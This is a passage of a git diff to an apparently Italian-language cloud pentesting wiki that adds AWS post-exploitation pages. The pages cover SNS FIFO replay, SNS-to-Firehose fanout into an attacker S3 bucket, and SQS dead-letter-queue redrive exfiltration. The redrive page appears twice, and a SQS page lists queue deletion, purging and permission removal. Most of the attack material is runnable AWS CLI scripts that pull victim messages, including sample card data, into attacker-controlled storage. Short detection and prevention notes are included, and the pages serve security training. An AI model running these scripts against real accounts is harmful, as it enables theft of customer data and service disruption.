+--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+
+echo "Subscription: $SUB_ARN"
+
+# 5) Ensure StartingPoint is >= BeginningArchiveTime
+BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
+START=${TS_START}
+if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
+
+aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
+--attribute-name ReplayPolicy \
+--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
+
+# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
+aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
+--max-number-of-messages 10 --wait-time-seconds 10 \
+--message-attribute-names All --attribute-names All
+```
+</details>
+
+## Impatto
+**Impatto potenziale**: Un attaccante che può iscriversi a un SNS FIFO topic con l'archiviazione abilitata e impostare `ReplayPolicy` sulla propria sottoscrizione può riprodurre immediatamente ed esfiltrare messaggi storici pubblicati su quel topic, non solo i messaggi inviati dopo la creazione della sottoscrizione. I messaggi consegnati includono un flag `Replayed=true` nell'envelope SNS.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
new file mode 100644
index 000000000..ea8b5bfd3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
@@ -0,0 +1,76 @@
+# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusa del protocollo di subscription di Firehose per registrare un Kinesis Data Firehose delivery stream controllato dall'attaccante su un topic SNS standard della vittima. Una volta che la subscription è in atto e il ruolo IAM richiesto si fida di `sns.amazonaws.com`, ogni futura notifica viene scritta in modo duraturo nel bucket S3 dell'attaccante con rumore minimo.
+
+## Requisiti
+- Permessi nell'account dell'attaccante per creare un bucket S3, un Firehose delivery stream e il ruolo IAM usato da Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, ecc.).
+- La possibilità di eseguire `sns:Subscribe` al topic della vittima (e opzionalmente `sns:SetSubscriptionAttributes` se l'ARN del ruolo della subscription viene fornito dopo la creazione).
+- Una topic policy che permetta al principal dell'attaccante di sottoscrivere (o l'attaccante opera già nello stesso account).
+
+## Attack Steps (same-account example)
+```bash
+REGION=us-east-1
+ACC_ID=$(aws sts get-caller-identity --query Account --output text)
+SUFFIX=$(date +%s)
+
+# 1) Create attacker S3 bucket and Firehose delivery stream
+ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
+aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
+
+STREAM_NAME=ht-firehose-stream-$SUFFIX
+FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
+
+# Role Firehose assumes to write into the bucket
+aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/firehose-s3-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
+JSON
+aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
+
+aws firehose create-delivery-stream \
+--delivery-stream-name "$STREAM_NAME" \
+--delivery-stream-type DirectPut \
+--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
+--region $REGION >/dev/null
+
+# 2) IAM role SNS assumes when delivering into Firehose
+SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
+aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/allow-firehose.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
+JSON
+aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
+
+SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
+
+# 3) Subscribe Firehose to the victim topic
+TOPIC_ARN=<VICTIM_TOPIC_ARN>
+aws sns subscribe \
+--topic-arn "$TOPIC_ARN" \
+--protocol firehose \
+--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
+--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
+--region $REGION
+
+# 4) Publish test message and confirm arrival in S3
+aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
+sleep 90
+aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
+```
+## Pulizia
+- Elimina la SNS subscription, il Firehose delivery stream, i ruoli/policy IAM temporanei e l'attacker S3 bucket.
+
+## Impatto
+**Impatto potenziale**: Exfiltration continua e duratura di ogni messaggio pubblicato nel SNS topic mirato verso attacker-controlled storage con un footprint operativo minimo.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
new file mode 100644
index 000000000..428558987
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -0,0 +1,150 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+## Description
+
+Abusa dei message move task di SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) della vittima reindirizzandoli verso una queue controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recovery dei messaggi di AWS per esfiltrare dati sensibili accumulati nelle DLQ nel tempo.
+
+## What is a Dead-Letter Queue (DLQ)?
+
+Una Dead-Letter Queue è una queue SQS speciale dove i messaggi vengono automaticamente inviati quando non riescono a essere processati con successo dall'applicazione principale. Questi messaggi falliti spesso contengono:
+- Dati sensibili dell'applicazione che non sono stati processati
+- Dettagli di errore e informazioni di debugging
+- Personal Identifiable Information (PII)
+- API token, credenziali o altri secret
+- Dati di transazioni critiche per il business
+
+Le DLQ agiscono come un "cimitero" per i messaggi falliti, rendendole obiettivi preziosi poiché accumulano dati sensibili nel tempo che le applicazioni non sono riuscite a gestire correttamente.
+
+## Attack Scenario
+
+**Real-world example:**
+1. **E-commerce application** processa gli ordini dei clienti tramite SQS
+2. **Alcuni ordini falliscono** (problemi di pagamento, inventario, ecc.) e vengono spostati in una DLQ
+3. **La DLQ accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
+4. **L'attaccante ottiene accesso** a credenziali AWS con permessi SQS
+5. **L'attaccante scopre** che la DLQ contiene migliaia di ordini falliti con dati sensibili
+6. **Invece di cercare di accedere ai singoli messaggi** (lento e ovvio), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi verso la propria queue
+7. **L'attaccante estrae** tutti i dati storici sensibili in un'unica operazione
+
+## Requirements
+- La source queue deve essere configurata come DLQ (referenziata da almeno una RedrivePolicy di qualche queue).
+- IAM permissions (run as the compromised victim principal):
+- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- On destination queue: permission to deliver messages (e.g., queue policy allowing `sqs:SendMessage` from the victim principal). For same-account destinations this is typically allowed by default.
+- If SSE-KMS is enabled: on source CMK `kms:Decrypt`, and on destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Impact
+Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload applicativi) ad alta velocità usando le API native di SQS. Funziona cross-account se la policy della destination queue permette `SendMessage` dal victim principal.
+
+## How to Abuse
+
+- Identificare l'ARN della DLQ vittima e assicurarsi che sia effettivamente referenziata come DLQ da qualche queue (qualsiasi queue va bene).
+- Creare o scegliere una destination queue controllata dall'attaccante e ottenere il suo ARN.
+- Avviare un message move task dalla DLQ vittima alla tua destination queue.
+- Monitorare il progresso o cancellare il task se necessario.
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di processing degli ordini dei clienti.
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Crea una coda di destinazione controllata dall'attaccante**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Esegui il furto di massa dei messaggi**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Raccogliere i dati sensibili rubati**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Note cross-account
+- La coda di destinazione deve avere una resource policy che consenta al principal vittima di `sqs:SendMessage` (e, se utilizzati, KMS grants/permissions).
+
+## Perché questo attacco è efficace
+
+1. **Funzionalità AWS legittima**: Usa funzionalità AWS integrate, rendendo difficile identificarlo come attività malevola
+2. **Operazione massiva**: Trasferisce migliaia di messaggi rapidamente invece di un accesso individuale lento
+3. **Dati storici**: Le DLQ accumulano dati sensibili nel corso di settimane/mesi
+4. **Sotto il radar**: Molte organizzazioni non monitorano da vicino l'accesso alle DLQ
+5. **Capacità cross-account**: Può exfiltrate verso l'account AWS dell'attaccante se i permessi lo consentono
+
+## Rilevamento e Prevenzione
+
+### Rilevamento
+Monitora CloudTrail per chiamate API `StartMessageMoveTask` sospette:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prevenzione
+1. **Least Privilege**: Restringere i permessi `sqs:StartMessageMoveTask` ai soli ruoli necessari
+2. **Monitor DLQs**: Configurare allarmi CloudWatch per attività insolite delle DLQs
+3. **Cross-Account Policies**: Rivedere attentamente le policy delle code SQS che consentono accesso cross-account
+4. **Encrypt DLQs**: Usare SSE-KMS con policy delle chiavi ristrette
+5. **Regular Cleanup**: Non lasciare che i dati sensibili si accumulino nelle DLQs indefinitamente
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
deleted file mode 100644
index c4afabf1b..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ /dev/null
@@ -1,73 +0,0 @@
-# AWS - SQS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-Un attaccante potrebbe inviare messaggi dannosi o indesiderati alla coda SQS, causando potenzialmente corruzione dei dati, attivando azioni non intenzionali o esaurendo le risorse.
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**Impatto Potenziale**: Sfruttamento delle vulnerabilità, Corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-Un attaccante potrebbe ricevere, eliminare o modificare la visibilità dei messaggi in una coda SQS, causando perdita di messaggi, corruzione dei dati o interruzione del servizio per le applicazioni che dipendono da quei messaggi.
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**Impatto Potenziale**: Rubare informazioni sensibili, perdita di messaggi, corruzione dei dati e interruzione del servizio per le applicazioni che dipendono dai messaggi interessati.
-
-### `sqs:DeleteQueue`
-
-Un attaccante potrebbe eliminare un'intera coda SQS, causando perdita di messaggi e influenzando le applicazioni che dipendono dalla coda.
-```arduino
-Copy codeaws sqs delete-queue --queue-url <value>
-```
-**Impatto Potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che utilizzano la coda eliminata.
-
-### `sqs:PurgeQueue`
-
-Un attaccante potrebbe eliminare tutti i messaggi da una coda SQS, portando a perdita di messaggi e potenziale interruzione delle applicazioni che si basano su quei messaggi.
-```arduino
-Copy codeaws sqs purge-queue --queue-url <value>
-```
-**Impatto Potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che dipendono dai messaggi eliminati.
-
-### `sqs:SetQueueAttributes`
-
-Un attaccante potrebbe modificare gli attributi di una coda SQS, potenzialmente influenzando le sue prestazioni, sicurezza o disponibilità.
-```arduino
-aws sqs set-queue-attributes --queue-url <value> --attributes <value>
-```
-**Impatto Potenziale**: Configurazioni errate che portano a prestazioni degradate, problemi di sicurezza o disponibilità ridotta.
-
-### `sqs:TagQueue` , `sqs:UntagQueue`
-
-Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse SQS, interrompendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
-```bash
-aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
-aws sqs untag-queue --queue-url <value> --tag-keys <key>
-```
-**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo accessi basate sui tag.
-
-### `sqs:RemovePermission`
-
-Un attaccante potrebbe revocare i permessi per utenti o servizi legittimi rimuovendo le politiche associate alla coda SQS. Questo potrebbe portare a interruzioni nel normale funzionamento delle applicazioni che dipendono dalla coda.
-```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
-```
-**Impatto Potenziale**: Interruzione del normale funzionamento delle applicazioni che si basano sulla coda a causa della rimozione non autorizzata delle autorizzazioni.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
new file mode 100644
index 000000000..05a4d7fa2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md
@@ -0,0 +1,83 @@
+# AWS - SQS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+Un attaccante potrebbe inviare messaggi maligni o indesiderati alla coda SQS, potenzialmente causando corruzione dei dati, innescando azioni non intenzionali o esaurendo le risorse.
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**Impatto potenziale**: Sfruttamento di vulnerabilità, corruzione dei dati, azioni non intenzionali o esaurimento delle risorse.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+Un attacker potrebbe ricevere, cancellare o modificare la visibilità dei messaggi in una coda SQS, causando perdita di messaggi, corruzione dei dati o interruzione del servizio per le applicazioni che dipendono da tali messaggi.
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**Impatto potenziale**: Furto di informazioni sensibili, perdita di messaggi, corruzione dei dati e interruzione del servizio per le applicazioni che si basano sui messaggi interessati.
+
+### `sqs:DeleteQueue`
+
+Un attacker potrebbe eliminare un'intera SQS queue, causando la perdita di messaggi e compromettendo le applicazioni che dipendono dalla queue.
+```bash
+aws sqs delete-queue --queue-url <value>
+```
+**Impatto potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che utilizzano la coda eliminata.
+
+### `sqs:PurgeQueue`
+
+Un attaccante potrebbe eliminare tutti i messaggi da una coda SQS, causando la perdita dei messaggi e potenziali interruzioni per le applicazioni che si basano su quei messaggi.
+```bash
+aws sqs purge-queue --queue-url <value>
+```
+**Impatto potenziale**: Perdita di messaggi e interruzione del servizio per le applicazioni che si basano sui messaggi eliminati.
+
+### `sqs:SetQueueAttributes`
+
+Un attacker potrebbe modificare gli attributi di una coda SQS, influenzandone potenzialmente le prestazioni, la sicurezza o la disponibilità.
+```bash
+aws sqs set-queue-attributes --queue-url <value> --attributes <value>
+```
+**Impatto potenziale**: Errate configurazioni che portano a prestazioni degradate, problemi di sicurezza o ridotta disponibilità.
+
+### `sqs:TagQueue` , `sqs:UntagQueue`
+
+An attacker potrebbe aggiungere, modificare o rimuovere tag dalle risorse SQS, compromettendo l'allocazione dei costi della tua organizzazione, il tracciamento delle risorse e le politiche di controllo degli accessi basate sui tag.
+```bash
+aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
+aws sqs untag-queue --queue-url <value> --tag-keys <key>
+```
+**Impatto potenziale**: Interruzione dell'allocazione dei costi, del monitoraggio delle risorse e delle policy di controllo accessi basate sui tag.
+
+### `sqs:RemovePermission`
+
+Un attaccante potrebbe revocare i permessi a utenti o servizi legittimi rimuovendo le policy associate alla SQS queue. Ciò potrebbe causare interruzioni nel normale funzionamento delle applicazioni che si basano sulla SQS queue.
+```bash
+aws sqs remove-permission --queue-url <value> --label <value>
+```
+**Impatto potenziale**: Interruzione del normale funzionamento delle applicazioni che si basano sulla coda a causa della rimozione non autorizzata dei permessi.
+
+### Altre tecniche di post-exploitation per SQS
+
+{{#ref}}
+aws-sqs-dlq-redrive-exfiltration.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-sns-injection.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
new file mode 100644
index 000000000..434e897b8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -0,0 +1,154 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Descrizione
+
+Abusa dei task di spostamento messaggi di SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) di una vittima reindirizzandoli a una coda controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la legittima funzionalità di recupero messaggi di AWS per exfiltrate dati sensibili che si sono accumulati nelle DLQ nel tempo.
+
+## Cos'è una Dead-Letter Queue (DLQ)?
+
+Una Dead-Letter Queue è una coda SQS speciale dove i messaggi vengono inviati automaticamente quando non possono essere processati correttamente dall'applicazione principale. Questi messaggi falliti spesso contengono:
+- Dati sensibili dell'applicazione che non sono stati processati
+- Dettagli di errore e informazioni di debug
+- Personal Identifiable Information (PII)
+- API tokens, credenziali, o altri segreti
+- Dati di transazioni critiche per il business
+
+Le DLQ fungono da "cimitero" per i messaggi falliti, rendendole obiettivi preziosi poiché accumulano dati sensibili nel tempo che le applicazioni non sono riuscite a gestire correttamente.
+
+## Scenario d'attacco
+
+**Esempio reale:**
+1. **Un'applicazione e-commerce** elabora ordini dei clienti tramite SQS
+2. **Alcuni ordini falliscono** (problemi di pagamento, inventario, ecc.) e vengono spostati in una DLQ
+3. **La DLQ accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **L'attaccante ottiene accesso** a credenziali AWS con permessi su SQS
+5. **L'attaccante scopre** che la DLQ contiene migliaia di ordini falliti con dati sensibili
+6. **Invece di provare ad accedere ai singoli messaggi** (lento e ovvio), l'attaccante usa `StartMessageMoveTask` per trasferire in bulk TUTTI i messaggi nella propria coda
+7. **L'attaccante estrae** tutti i dati sensibili storici in un'unica operazione
+
+## Requisiti
+- La queue sorgente deve essere configurata come DLQ (referenziata da almeno una queue RedrivePolicy).
+- Permessi IAM (eseguito come il principal vittima compromesso):
+- Sulla DLQ (sorgente): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- Sulla queue di destinazione: permesso di consegnare messaggi (es. una queue policy che permetta `sqs:SendMessage` dal principal vittima). Per destinazioni nello stesso account questo è tipicamente consentito di default.
+- Se SSE-KMS è abilitato: sulla CMK sorgente `kms:Decrypt`, e sulla CMK di destinazione `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Impatto
+**Impatto potenziale**: Exfiltrate sensitive payloads accumulati nelle DLQ (eventi falliti, PII, token, payloads delle applicazioni) ad alta velocità usando le API native di SQS. Funziona cross-account se la policy della queue di destinazione permette `SendMessage` dal principal vittima.
+
+## Come abusare
+
+- Identificare l'ARN della DLQ vittima e assicurarsi che sia effettivamente referenziata come DLQ da qualche queue (qualsiasi queue va bene).
+- Creare o scegliere una queue di destinazione controllata dall'attaccante e ottenere il suo ARN.
+- Avviare una message move task dalla DLQ vittima verso la queue di destinazione.
+- Monitorare il progresso o cancellare l'operazione se necessario.
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di elaborazione ordini dei clienti.
+
+1) **Scopri ed esamina la DLQ della vittima**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Crea una destination queue controllata dall'attaccante**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Esegui il furto massivo dei messaggi**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Raccogliere i dati sensibili rubati**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Note tra account
+- La queue di destinazione deve avere una resource policy che consenta al principal vittima di `sqs:SendMessage` (e, se usati, KMS grants/permissions).
+
+## Perché questo attacco è efficace
+
+1. **Funzionalità AWS legittima**: Usa funzionalità AWS integrate, rendendo difficile identificarlo come attività malevola
+2. **Operazione in blocco**: Trasferisce migliaia di messaggi rapidamente invece di un accesso lento e individuale
+3. **Dati storici**: Le DLQ accumulano dati sensibili per settimane/mesi
+4. **Sotto il radar**: Molte organizzazioni non monitorano da vicino l'accesso alle DLQ
+5. **Capacità cross-account**: Può esfiltrare verso l'account AWS dell'attaccante se i permessi lo permettono
+
+## Rilevamento e prevenzione
+
+### Rilevamento
+Monitorare CloudTrail per chiamate API `StartMessageMoveTask` sospette:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prevenzione
+1. **Principio del minimo privilegio**: Limita le autorizzazioni `sqs:StartMessageMoveTask` ai soli ruoli necessari
+2. **Monitoraggio DLQs**: Configura allarmi CloudWatch per attività anomale nei DLQs
+3. **Policy cross-account**: Rivedi attentamente le policy delle code SQS che consentono accesso tra account
+4. **Crittografia DLQs**: Usa SSE-KMS con policy di chiave ristrette
+5. **Pulizia regolare**: Non lasciare che dati sensibili si accumulino indefinitamente nei DLQs
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
new file mode 100644
index 000000000..07f64fcf2
--- /dev/null
